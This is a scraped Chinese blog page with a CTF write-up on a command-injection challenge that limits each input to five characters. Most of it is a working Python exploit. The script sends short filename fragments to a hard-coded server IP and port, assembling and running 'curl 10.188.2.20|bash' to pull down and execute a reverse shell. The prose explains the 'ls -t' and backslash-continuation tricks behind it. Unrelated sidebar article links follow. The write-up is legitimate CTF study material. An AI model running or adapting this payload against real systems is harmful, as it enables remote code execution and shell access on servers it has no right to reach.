当前位置:网站首页>CTF命令执行题目解题思路
CTF命令执行题目解题思路
2022-08-02 22:03:00 【wespten】
CTF存在命令执行漏洞题目,单次输入字符不得大于5。

利用linux下特有的命令来写入shell反弹。
原理就是利用curl ip|bash等很多方式去反弹shell。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)在自己服务器中放入bash一句话,利用curl ip|bash反弹shell。
开启监听,执行后可反弹shell。

利用linux文件写入技巧:

ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中

可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。
边栏推荐
- In-depth study TypeScript TypeScript 】 【 class (under)
- Unity WallFxPack使用
- Jmeter二次开发实现rsa加密
- 【C语言】带头双向循环链表(list)详解(定义、增、删、查、改)
- MySQL删除数据后,释放磁盘空间
- Finally understand: With threads, why do we need coroutines?
- 【TypeScript】深入学习TypeScript模块化
- 创建型模式 - 简单工厂模式StaticFactoryMethod
- Word operation: adjust the English font individually
- Abstract Factory Pattern
猜你喜欢
随机推荐
如何通过 IDEA 数据库管理工具连接 TDengine?
CKA、CKAD、CKS、KCNA、CFCD考试
Matplotlib drawing core principles explain (more detailed)
matplotlib绘图的核心原理讲解(超详细)
GameStop NFT 市场分析
centos7安装mysql8
# 医院管理系统完整项目代码以及数据库建表语句分享
word操作:单独调整英文字体
【TypeScript】深入学习TypeScript类(上)
双轴晶体中锥形折射的建模与应用
Interviewer: can you talk about optimistic locking and pessimistic locks
VS保存后Unity不刷新
RuoYi-App Startup Tutorial
Flink优化的方方面面
【TypeScript】深入学习TypeScript模块化
创建型模式 - 简单工厂模式StaticFactoryMethod
MYSQL查看表结构
H.265视频流媒体播放器EasyPlayer.js集成时出现“SourceBuffer ”报错,该如何解决?
执子手,到永恒
CS5213 chip | HDMI to VGA converter chip data sharing









